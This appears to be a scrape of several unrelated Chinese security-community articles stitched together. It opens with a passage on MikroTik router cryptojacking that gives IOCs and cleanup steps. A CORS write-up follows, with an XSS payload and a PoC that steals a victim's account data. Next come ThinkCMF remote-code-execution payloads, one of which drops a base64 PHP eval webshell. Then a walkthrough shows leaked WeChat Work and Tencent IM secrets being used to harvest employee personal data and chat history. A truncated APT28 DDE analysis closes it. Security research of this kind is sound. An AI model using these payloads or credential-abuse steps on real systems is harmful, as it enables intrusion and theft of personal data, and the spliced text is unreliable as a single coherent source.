上述两行代码表示，路由器在连接到不安全页面（HTTP）时，会每隔15秒检查一次，通过代理重定向流量。在这里，只需进行一次检查，因为在重定向时，计算机的IP地址将被添加到!Ok的清单中。基本上，每隔15秒将会注入一次挖矿工具，这也正是重复加载同一页面，最终能显示预期内容的原因。
下一行证明了，这确实是一个恶意脚本：
它将日志记录设置为仅保留日志的最后一行。对于实际使用来说，这显然不是一个好的做法，但对攻击者来说，却能使管理员无法在日志文件中查看到命令的历史记录，从而给分析工作带来阻碍。
下面的一行，在端口上创建了SOCKS代理服务器，该服务器基于路由器的实际时间，使用分钟和秒来随机创建。
随后，下载一个恶意的error.html页面，该页面并不是常规的错误提示页面，其中包含一个注入的挖矿程序。
接下来，恶意软件通过计划任务，使脚本能够定期下载并安装“error.html”的最新版本，以此来实现持久化。
iDDNS脚本每隔5分钟运行一次，包含内容如下：
该代码将MAC地址、WinBox端口、SOCKS端口、PROXY端口、SOCKS和WEB代理的状态以及PPTN（VPN）服务器状态发送到C&C服务器，所有这些信息都以_分隔，合并成一个URL字符串后发送。然后，将从C&C服务器接收要运行的脚本。
随着攻击者对这些脚本的不断改进，脚本的内容仍在不断发展和变化。在撰写本文之后，可能该脚本还会发生变动，C&C服务器的域名也可能会发生变化。
## 与攻击者的猫鼠游戏
此时，由于有多种恶意软件同时存在，我们并不能清楚地掌握该恶意活动的详细情况。对这一恶意软件的分析过程，就如同在阅读一本所有人都签过名字的留言簿。据我们所知，本文中所分析的脚本，至少被两个域名使用过。
第一个服务器域名是mining117.com。更准确地说，脚本来自<http://mining117.com/update.txt> 和
<http://mining117.com/cmd-update.txt> 。
经过进一步调查，我们发现该域名自2018年3月4日开始，就一直处于活跃状态，并且由同一个托管服务提供商托管在3个不同的服务器上。
我们与托管服务提供商取得了联系，并在10月5日共同关闭了这台服务器。仅仅1天之后，该恶意活动就立刻更换了另一个域名gazanew.com。令人惊讶的是，新域名来自于相同的托管网络。
于是，我们再次要求服务提供商关闭该服务器。此后，攻击者就开始与我们玩起了“猫鼠游戏”。
在我们关停第二个域名之后不久，攻击者就开始禁用大量的管理接口，并将SSH和TELNET端口移动到TCP/10022和TCP/10023，这一点出乎我们的意料，甚至用户都可能不会注意到这一点。除此之外，攻击者还不断缩小他的暴露目标。例如，现在几乎不会连接到Telnet端口。此外，一旦使用泄露的凭据成功连接，几乎会立即断开连接。
## 持续追踪攻击者
我们仍然在追击攻击者的过程中。然而，由于受感染的路由器数量庞大，因此很难进行有效的溯源。互联网上，甚至出现了一个Google文档的电子表格，跟踪被感染路由器上的所有挖掘活动：
该文档位于：
<https://docs.google.com/spreadsheets/d/1RdT_r4fi4wPx5rY306FftVKaXiAZeQeb5fx78DmbVx0/edit?usp=sharing>
。
[@bad_packets](https://github.com/bad_packets
"@bad_packets")收集了来自Shodan、Censys和其他类似来源的挖矿统计数据，并进行分析。分析结果表明，用于某种挖矿活动的路由器总数已经超过421000台。并且，由于没有简单的方法能够获取关于CoinHive密钥的统计信息，我们在下面展示了能够获得加密货币余额的密钥活动。
其中一个分布式密钥的挖矿活动快照（xmr.omine.org）：
其中一个分布式密钥的挖矿活动快照（MoneroOcean Pool）：
## 影响用户范围
下图展现了在Avira用户群体中，MikroTik路由器的固件版本分布情况。事实上，目前仅有4.89%的用户使用了最新版本的固件（6.43.2），85.48%的用户仍然容易受到CVE-2018-14847
WinBox漏洞利用。
## 造成的危害
从表面上看，这一恶意活动的危害在于非法使用路由器的计算能力来挖掘加密货币，但事实并非如此。实际上，连接到受感染路由器上的所有计算机都会为攻击者执行挖矿任务，而并非仅有路由器。只要用户尝试访问不安全的Web地址（HTTP），路由器都会为用户提供一个恶意挖矿工具，从而实现这一目的。然而，更大的问题在于，一旦用户的路由器遭到入侵，用户将无法确定攻击者利用路由器具体做了什么，他们可以嗅探流量，也可以向用户提供恶意页面。
如下图所示，用户可以使用Avast Wi-Fi Inspector来查看自己的网络是否受到这一攻击的影响。此外，Wi-Fi
Inspector还可以检测MikroTik路由器服务（例如Telnet和FTP）的弱密码或默认密码，或者检测特定的HTTP篡改。
## 恶意活动溯源
由于有多个恶意活动同时运行，因此很难对攻击者进行追溯。实际上，对这一系列恶意活动的溯源过程是一场噩梦，因为易受攻击的路由器被不同的恶意活动一遍又一遍的利用，所以这些路由器上就存在一个又一个恶意活动的运行痕迹。然而，我们仍然在密切关注一个疑似攻击者发起的特定活动。截至目前，我们暂时没有得出明确的结论，请继续关注我们接下来的更新。
## 被感染用户的清除方法
尽管该漏洞源于路由器，但由于MikroTik及时发出了补丁和通告，因此不应该将被感染的责任归咎于他们。在这里，最主要的问题在于大部分用户都没有及时安装补丁。如果用户受到感染，可以采用以下步骤：
1、检查自己是否使用了MikroTik路由器。即使用户没有使用MikroTik路由器，也可能会受到这一漏洞的影响。如果确认没有使用，那么证明可能是ISP（互联网服务提供商）受到感染。如果是这种情况，请立即与ISP取得联系，以便让他们尽快解决这一问题。
2、确认是否能够使用WinBox、TELNET或SSH，从内部网络连接到路由器。
3、如果无法通过上述任一端口连接，请尝试使用攻击者的备用端口。针对TELNET和SSH，分别被修改为TCP/10023和TCP/10022端口。
4、如果仍然无法连接，唯一的方法是将路由器恢复出厂设置。在重置后，立即对固件进行更新。在此之后，如果再次进行重置，那么所有默认设置都保证是安全的，因为最新版本的MikroTik路由器默认已经关闭了外部对路由器的访问。MikroTik发表过一篇非常不错的文章（
<https://blog.mikrotik.com/security/winbox-vulnerability.html>
），我们可以按照文章中的描述，或者通过WinBox应用程序中的Quick Set选项来安装最新的固件，并设置一个新的密码，这一过程比较简单。
5、如果已经成功连接到路由器，首先需要关闭外部对路由器接口的访问。
6、随后，查看路由器中是否存在任何文末IoC中记录的脚本/文件/用户名/PPP挑战口令或计划任务。如果存在，则删除相应内容。借助调度程序，这些任务可以重新运行，导致路由器再次沦陷。
7、禁用Web代理和SOCKS（如果不需要），或检查其配置是否符合安全要求，同时检查防火墙规则是否符合安全要求。
8、在工具菜单中，检查数据包嗅探器（Packet Sniffer）。
9、如果不需要使用PPTP服务器功能，请关闭。
10、检查所有用户账户，删除其中的可疑账户，并为所有启用的账户设置强密码。
11、将路由器的固件更新到最新版本。
## IOC
域名：
gazanew.com
mining711.com
srcip.com
src-ips.com
srcips.com
hostingcloud.science
meaghan.pythonanywhere.com
计划任务名称：
DDNS
CrtDDNS
UpDDNS
Setschedule[1-9]_
upd[113-116]
system[111-114]
ip
a
u[3-6]
与恶意活动相关的用户账户：
toto
dodo
路由器上的恶意文件：
i113.rsc
i114.rsc
I116.rsc
exsvc.rsc | 社区文章 |
# Advanced CORS Exploitation Techniques
直入主题，本文我会介绍怎么去利用错误的CORS配置去搞事情。
第一种就是常规的XSS，第二种是基于先进的CORS技术。
你需要有CORS的基础知识，你可以阅读下面的文章。
<http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html>
<https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/>
## 第一种情况
### 攻击点
一年前，我正在攻击HackerOne主办的一个私人项目。在HTTP请求中使用Origin标识头后，然后检查服务器响应以检查它们是否进行域名白名单检查，我注意到应用程序只是盲目地将子域列入白名单，甚至是一些不存在的子域。
出于隐私原因和其他政策，我们假设Web应用程序托管在：`www.redacted.com`
这个CORS配置错误看起来像这样：
**HTTP Request:**
GET /api/return HTTP/1.1
Host: www.redacted.com
Origin: evil.redacted.com
Connection: close
**HTTP Response:**
HTTP/1.1 200 OK
Access-control-allow-credentials: true
Access-control-allow-origin: evil.redacted.com
此API端点返回用户的私人信息，如全名，电子邮件地址，....
为了充分利用这种错误配置，以便我们可以执行攻击，例如泄露用户的私人信息，我们需要声明一个被废弃的子域（子域名接管），或者在现有子域的中找到一个XSS。
### 发挥想象力，不要局限性思考
找到一个人家不要的子域并不是那么简单，所以我决定选择第二个选项，在一个现有的子域中找到一个XSS。但是，这个程序的范围仅限于：www.redacted.com，这意味着在其他子域中查找XSS肯定不在范围内，但是将此XSS与CORS结合起来在某种程度上也是在Scope中。对吗？
并且，其他子域超出范围的这个消息是让我更有信心的原因，因为其他黑客不会测试它们，因此很有可能在这些子域上找到XSS。
所以，我开始寻找这个XSS，心中充满希望地找到它，并且在不到一个小时的时间里，我在banques.redacted.com找到了一个，使用以下payload：
https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1
这时候可以作为poc提交了。
### 再次利用
因此，要利用此CORS漏洞，我们只需要使用以下代码替换称自己的XSS Payload : `alert(document.domain)`
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.redacted.com/api/return", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
继续：
https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1
成功利用
奖金
现在，如果我告诉您，您仍然可以利用此问题而无需在任何现有子域中找到XSS，或声已经不要的子域，那该怎么办？
这正是我们将在第二种情况下讨论的内容。
## 第二种利用方法
### 攻击点
这一次，我正在研究Ubnt程序，尤其是托管在以下网址的应用程序：`https://protect.ubnt.com/`
和上次一样，我找到一个api接口，并且存在CORS
https://client.amplifi.com/api/user/
而且，正如我们之前讨论的那样，要利用这种CORS错误配置，您需要找到一个废弃的子域名，或者在一个现有的子域中找到XSS。
因为这是一个公开的计划，范围很广（所有子域都在范围内）; 找到XSS的可能性很小，甚至没有提到子域名接管漏洞。
那么，我们没办法了吗？
### Advanced CORS Exploitation Techniques
嗯，事实证明，还有另一种方式，但它需要一定的条件才能执行。
Corban Leo最近做的一项有趣的研究可以在[这里](https://www.corben.io/advanced-cors-techniques/)找到。可以绕过域名中使用特殊字符错误实现的某些控件。
此研究基于以下条件：
* 浏览器在发出请求之前并不总是验证域名。因此，如果使用某些特殊字符，浏览器当前可以提交请求，而无需事先验证域名是否有效和存在。
**例：**
先完全理解这个玩意，让我们尝试打开一个包含特殊字符的URL，例如：`http://asdf`+=.withgoogle.com`。
大多数浏览器会在发出任何请求之前验证域名。 **Chrome:** 域名`withgoogle.com`用来作演示，因为它有一个通配符DNS记录
**Firefox:**
**Safari:**
Safari是一个例外，它实际上会发送请求并尝试加载页面，这与其他浏览器不同。
我们可以使用各种不同的符号，甚至是不可打印的符号：
,&'";!$^*()+=`~-_=|{}%
// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
此外，Davide Danelon完成的另一项研究可以在[这里](https://www.bedefended.com/papers/cors-security-guide)找到，表明这些特殊字符的其他子集也可用于其他浏览器。
现在，我们知道这些以后，我们如何利用这个问题来执行高级CORS利用技术，为了一个很好的演示，让我们回到易受攻击的Web应用程序：`https://client.amplifi.com/`
### 新方法
在这种情况下，Web应用程序还接受以下Origin `* .ubnt.com！.evil.com`
不只是字符`！`，还包括以下字符：
*.ubnt.com!.evil.com
*.ubnt.com".evil.com
*.ubnt.com$.evil.com
*.ubnt.com%0b.evil.com
*.ubnt.com%60.evil.com
*.ubnt.com&.evil.com
*.ubnt.com'.evil.com
*.ubnt.com(.evil.com
*.ubnt.com).evil.com
*.ubnt.com*.evil.com
*.ubnt.com,.evil.com
*.ubnt.com;.evil.com
*.ubnt.com=.evil.com
*.ubnt.com^.evil.com
*.ubnt.com`.evil.com
*.ubnt.com{.evil.com
*.ubnt.com|.evil.com
*.ubnt.com}.evil.com
*.ubnt.com~.evil.com
您现在应该知道某些浏览器（例如Safari）接受具有特殊字符的URL，例如：`https://zzzz.ubnt.com=.evil.com`。
因此，如果我们建立一个域名：evil.com，带有通配符DNS记录，允许将所有子域名（*
.evil.com）指向www.evil.com，这将在以下页面中托管脚本：`www.evil.com/cors-poc`，它只是将带有子域名的跨域请求作为原始值发送给攻击目标。
然后我们以某种方式使经过身份验证的用户打开链接：
`https://zzzz.ubnt.com=.evil.com/cors-poc`
从理论上讲，我们可以将这个用户的私人信息泄露出去。
### 复现
首先，设置一个带有通配符DNS记录的域，将其指向您的vps，在我的情况下，我使用GoDaddy来托管我的域，具有以下配置：
2.安装NodeJS，创建一个新目录，然后在其中保存以下文件：
**serve.js**
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80
http.createServer(function(req, res) {
if (req.url == '/cors-poc') {
fs.readFile('cors.html', function(err, data) {
res.writeHead(200, {'Content-Type':'text/html'});
res.write(data);
res.end();
});
} else {
res.writeHead(200, {'Content-Type':'text/html'});
res.write('never gonna give you up...');
res.end();
}
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);
3.在同一目录中，保存以下内容：
**cors.html**
<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://client.amplifi.com/api/user/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
4.运行以下命令启动NodeJS服务器：
node serve.js &
5.现在，登录到`https://protect.ubnt.com/`上的应用程序，并检查您是否可以从api检索您的帐户信息：`https://client.amplifi.com/api/user/`
6.打开链接 `https://zzzz.ubnt.com=.evil.com/cors-poc`
在我的情况下，我使用我的iPhone中的Safari浏览器作为PoC，因为我没有Mac。
## 结语
你要记住，不要在圈内思考。
[原文链接](https://medium.com/@sandh0t/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) | 社区文章 |
## 0x00 简介
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架，底层采用ThinkPHP3.2.3构建。
ThinkCMF提出灵活的应用机制，框架自身提供基础的管理功能，而开发者可以根据自身的需求以应用的形式进行扩展。
每个应用都能独立的完成自己的任务，也可通过系统调用其他应用进行协同工作。在这种运行机制下，开发商场应用的用户无需关心开发SNS应用时如何工作的，但他们之间又可通过系统本身进行协调，大大的降低了开发成本和沟通成本。
## 0x01 漏洞概述
攻击者可利用此漏洞构造恶意的url，向服务器写入任意内容的文件，达到远程代码执行的目的。
## 0x02 影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
## 0x03 环境搭建
本次使用的环境版本是2.2.3，直接放到phpstudy的目录下，访问路径/ThinkCMFX/发现ThinkCMF很人性化的加载了安装向导，因此按照它的步骤一步一步来即可（2.2.3版本安装包获取方式：文末公众号内回复“ThinkCMF环境”）
填写好数据库密码以及管理员信息(phpstudy的数据库默认密码为root)
继续下一步，环境搭建成功如图所示
## 0x04 漏洞利用
### 第一种
通过构造a参数的fetch方法，可以不需要知道文件路径就可以把php代码写入文件
phpinfo版payload如下：
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
执行payload，页面是空白的
访问test.php，可以看到phpinfo已经加载出来
### 第二种
通过构造a参数的display方法，实现任意内容包含漏洞
payload:
?a=display&templateFile=README.md
## 0x05 漏洞分析
首先打开index.php文件，看一下程序的项目路径，如下显示项目路径在application目录下
在项目路径下找到入口分组的控制器类选择IndexController 控制器类打开
可以看到这里IndexController类中只有一个方法display方法，那么看一下父类HomebaseController文件，根据ThinkPHP框架规则，可以通过g\m\a参数指定分组\模块\方法，这里可以通过a参数直接调用Portal\IndexController父类(HomebaseController)中的一些权限为public的方法。
这边有问题的是display函数和fetch函数：
display函数的作用是加载模板和页面输出，所对应的参数为：
templateFile模板文件地址，charset模板字符集，contentType输出类型，content输出内容。
templateFile参数会经过parseTemplate函数处理，判断模板是否存在，当模板不存在时会在当前目录下开始查找，这里可以配合一处上传形成文件包含。最终形成的payload
：index.php?a=display&templateFile=README.md
fetch函数的作用是获取页面内容，调用内置模板引擎fetch方法，thinkphp的模版引擎使用的是smarty，在smarty中当key和value可控时便可以形成模板注入。
这里fetch函数的三个参数分别对应模板文件，输出内容，模板缓存前缀。利用时templateFile和prefix参数可以为空，在content参数传入待注入的php代码即可。最终形成的payload：index.php?a=fetch&content=<?php+file_put_contents("s.php",
base64_decode("PD9waHAgZXZhbCgkX1BPU1RbInBhc3MiXSk7Pz4=");
## 0x06 修复方式
将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和
fetch 函数的修饰符改为 protected
本文由Timeline Sec新成员z0ne和Puppy共同完成
获取更多最新漏洞复现内容，欢迎扫码关注公众号Timeline Sec
专注于做最新最详细的漏洞复现，内含工具靶场等干货，快来关注吧~ | 社区文章 |
最近在项目中遇到一个 企业微信access_token 和 腾讯IM 密钥
场景,搜了下,网上似乎没有多少公开的案例分享,有的也是比较简单的,所以记录一下利用过程,厚码保命,理解一下
* * *
# 泄漏企业微信 access_token
注⚠️ :脱敏脱敏脱敏 代替 原来的敏感数据
获得的配置文件内容
#腾讯企业微信企业id
qywx.corpid=脱敏脱敏脱敏
#腾讯企业微信管理后台的应用密钥
qywxapplet.appSecret=脱敏脱敏脱敏脱敏脱敏脱敏
#腾讯企业微信管理后台绑定的小程序appid
qywxapplet.appid=脱敏脱敏脱敏脱敏脱敏
#腾讯ocr appid,演示环境使用了腾讯的ocr接口，行方不使用腾讯ocr接口则不必配置这里。配置成"-"即可
ocr.tenc.appId=- #腾讯ocr秘钥
ocr.tenc.secret=- #网录制视频时分段时长，分钟，如无需求不要改动此项
duration=120
根据官方文档,先生成 access_token
* <https://developer.work.weixin.qq.com/document/path/91039>
https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=脱敏脱敏脱敏&corpsecret=脱敏脱敏脱敏
eQq8YjcgxHOtk39Xu4d脱敏脱敏脱敏脱敏脱敏脱敏脱敏klx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏
> access_token 的有效期通过返回的 expires_in 来传达，正常情况下为 7200 秒（2
> 小时），有效期内重复获取返回相同结果，过期后获取会返回新的 access_token。
根据官方服务,先查看 access_token 权限
* <https://open.work.weixin.qq.com/devtool/query>
可以看到 access_token 权限，通讯录范围 - 部门，应用权限
根据官方文档
**获取企业微信API域名IP段**
* <https://developer.work.weixin.qq.com/document/path/92520>
https://qyapi.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token=eQq8YjcgxHOtk39Xu4d30脱敏脱敏脱敏脱敏脱敏脱敏脱敏lx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏
**获取部门列表**
* <https://developer.work.weixin.qq.com/document/path/90208>
https://qyapi.weixin.qq.com/cgi-bin/department/list?access_token=eQq8YjcgxHOtk39Xu4d脱敏脱敏脱敏脱敏脱敏脱敏脱敏38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏
可以看到有很多部门
**获取部门成员**
* <https://developer.work.weixin.qq.com/document/path/90200>
https://qyapi.weixin.qq.com/cgi-bin/user/simplelist?access_token=eQq8YjcgxHOtk39Xu4d30rJx0脱敏脱敏脱敏脱敏脱敏脱敏脱敏LE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏&department_id=1&&fetch_child=1
所有人的姓名和userid，归属部门
**获取部门成员详情**
* <https://developer.work.weixin.qq.com/document/path/90201>
https://qyapi.weixin.qq.com/cgi-bin/user/list?access_token=eQq8YjcgxHOtk39Xu4d3脱敏脱敏脱敏脱敏脱敏脱敏脱敏ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏&department_id=1&fetch_child=1
所有人的姓名、手机号、头像、企业微信二维码、邮箱
**获取单个部门详情**
* <https://developer.work.weixin.qq.com/document/path/95351>
https://qyapi.weixin.qq.com/cgi-bin/department/get?access_token=eQq8Yjc脱敏脱敏脱敏脱敏脱敏脱敏脱敏lx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏&id=963233
查看下子部门的详情
**获取加入企业二维码**
* <https://developer.work.weixin.qq.com/document/path/91714>
https://qyapi.weixin.qq.com/cgi-bin/corp/get_join_qrcode?access_token=eQq8YjcgxHOtk3脱敏脱敏脱敏脱敏脱敏脱敏脱敏w6Owklx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏
> 仅通讯录同步助手或第三方通讯录应用可调用。
这个 accesskey
是普通应用，普通应用的secret仅有只读权限，所以获取加入企业二维码没有权限，因为这个接口须拥有通讯录的管理权限，需要使用通讯录同步的Secret
**创建成员**
* <https://developer.work.weixin.qq.com/document/path/90195>
POST /cgi-bin/user/create?access_token=eQq8YjcgxH脱敏脱敏脱敏脱敏脱敏脱敏脱敏-w6Owklx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏 HTTP/1.1
Host: qyapi.weixin.qq.com
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
{
"userid": "test123",
"name": "啊啊啊",
"department": [1],
"mobile":"13888888888"
}
> 仅通讯录同步助手或第三方通讯录应用可调用。
这个 accesskey 是普通应用，普通应用的secret仅有只读权限，所以不能创建成员，须拥有通讯录的管理权限，需要使用通讯录同步的Secret
**获取企业所有打卡规则**
* <https://developer.work.weixin.qq.com/document/path/93384>
https://qyapi.weixin.qq.com/cgi-bin/checkin/getcorpcheckinoption?access_token=eQq8YjcgxHOtk39脱敏脱敏脱敏脱敏脱敏脱敏脱敏i-w6Owklx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏
还有 获取员工打卡规则、获取打卡记录数据、获取打卡日报数据、获取打卡月报数据、获取打卡人员排班信息,这里就不一一测试了
还有获取成员假期余额
POST /cgi-bin/oa/vacation/getuservacationquota?access_token=eQq8YjcgxHOtk39Xu4脱敏脱敏脱敏脱敏脱敏脱敏脱敏lx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏 HTTP/1.1
Host: qyapi.weixin.qq.com
Connection: close
X-Forwarded-For: 101.226.129.166
Content-Type: application/json
Content-Length: 31
{
"userid": "脱敏脱敏脱敏"
}
还可以修改成员假期余额，这里就不测试了
* <https://developer.work.weixin.qq.com/document/path/93376>
* <https://developer.work.weixin.qq.com/document/path/93377>
* * *
# 泄漏即时通信IM配置
qq.im.sdkappid=脱敏脱敏脱敏
qq.im.privateKey=脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏
qq.im.identifier=脱敏脱敏脱敏
qq.im.apiver=2
qq.live.bizid=脱敏脱敏脱敏
通过查看官方文档 <https://cloud.tencent.com/document/product/269/32688> UserSig
是用户登录即时通信 IM 的密码，其本质是对 UserID 等信息加密后得到的密文，首先要生成 UserSig
<https://github.com/tencentyun/tls-sig-api-v2-python>
pip3 install tls-sig-api-v2
vim test.py
import TLSSigAPIv2
api = TLSSigAPIv2.TLSSigAPIv2(脱敏脱敏脱敏, '脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏')
sig = api.gen_sig("脱敏脱敏脱敏")
print(sig)
运行生成 UserSig,注意这个 UserSig 有效期很短，一般几分钟就要重新生成一次
eJw1zcEKgkAUheFXkVmH3hk脱敏脱敏脱敏脱敏脱敏脱敏脱敏v-gnDdJt3u9VRVZaoTpQBbaWFCqe脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏
生成后按照文档里描述的填写
<https://cloud.tencent.com/document/product/269/1520>
获取 App 中的所有群组
https://console.tim.qq.com/v4/group_open_http_svc/get_appid_group_list?sdkappid=1400571601&identifier=admin&usersig=eJw1zcEKgkAU脱敏脱敏脱敏脱敏脱敏脱敏脱敏qW1iiJlr07qXp9v-gnDdJt3u9VRVZaoTpQBbaWFCqe脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏&random=99999999&contenttype=json
这里图忘记截了，将就着看吧
拉取运营数据
https://console.tim.qq.com/v4/openconfigsvr/getappinfo?sdkappid=1400571601&identifier=vc_system&usersig=eJw1zcEKgkAUheFXkVm脱敏脱敏脱敏脱敏脱敏脱敏脱敏07qXp9v-gnDdJt3u9VRVZaoTpQBbaWFCqe脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏&random=99999999
这里图忘记截了，将就着看吧
下载最近消息记录
https://console.tim.qq.com/v4/open_msg_svc/get_history?sdkappid=1400571601&identifier=vc_system&usersig=eJw1zcEKgkAU脱敏脱敏脱敏脱敏脱敏脱敏脱敏p9v-gnDdJt3u9VRVZaoTpQBbaWFCqe脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏&random=99999999&contenttype=json
这里图忘记截了，将就着看吧
获取服务器 IP 地址
https://console.tim.qq.com/v4/ConfigSvc/GetIPList?sdkappid=1400571601&identifier=vc_system&usersig=eJw1zcEKgkAUheFXkVmH3hk脱敏脱敏脱敏脱敏脱敏脱敏脱敏9v-gnDdJt3u9VRVZaoTpQBbaWFCqe脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏&random=99999999&contenttype=json
这里图忘记截了，将就着看吧
可以用在线网页进行验证
<https://tcc.tencentcs.com/im-api-tool/index.html#v4/group_open_http_svc/get_appid_group_list>
总结，之前从来没有遇到过这类办公认证泄漏，这次实战中翻配置文件时发现了，通过翻阅官方API文档获取到了更多的成果，有时候拿下机器的本地信息收集真的很重要，只是可惜了，这个获取的权限没有通讯录的管理权限不然可以直接添加用户到目标企业微信中了。 | 社区文章 |
最近在研究APT攻击，我选择研究APT的方法通过一个APT组织入手，我选择的是APT28这个组织，APT28组织是一个与俄罗斯政府组织的高级攻击团伙，我将分析该组织的攻击样本、攻击方法、攻击目的来研究一个APT组织。本次分析的是该团伙使用的DDE漏洞，所有资料均来自互联网。
本次的分析的样本来此mcafee文章的样本，未提及具体共的攻击者，样本的内容与纽约恐怖袭击有关。APT28能够利用当时的热点事件。迅速采用新技术发起攻击。
DDE（动态数据交换），被定义为允许应用程序共享的一组消息和准则。，应用程序可以使用DDE协议进行一次数据传输，以便应用程序在新数据可用时将更新发送给彼此，这次分析的两个样本，一个未混淆一个混淆，也比较能反应出攻击组织在攻击手法上的改进
此次分析的样本一共如下两个：
文件名称 IsisAttackInNewYork.docx
SHA-1 1C6C700CEEBFBE799E115582665105CAA03C5C9E
创建时间 2017:10:27T 22:23:00Z
文件大小 53.1 KB (54,435 字节)
文件名称 SabreGuardian.docx
SHA-256 68C2809560C7623D2307D8797691ABF3EAFE319A
创建时间 2017:10:27 22:23:00Z
文件大小 49.8 KB (51,046 字节)
**样本分析**
首先分析SabreGuardian.docx，双击之后发现会出现提示更新域
在点击是之后，会出现另外一个提示，我们可以看到出现以下，出现了启动应用程序MSWord程序，这里初始一看并没有什么问题，毕竟启动的是WORD本身自己。
我们在所有有关字符串之后，发现了相关的DDE攻击代码，在word/document.xml中，如下图所示。
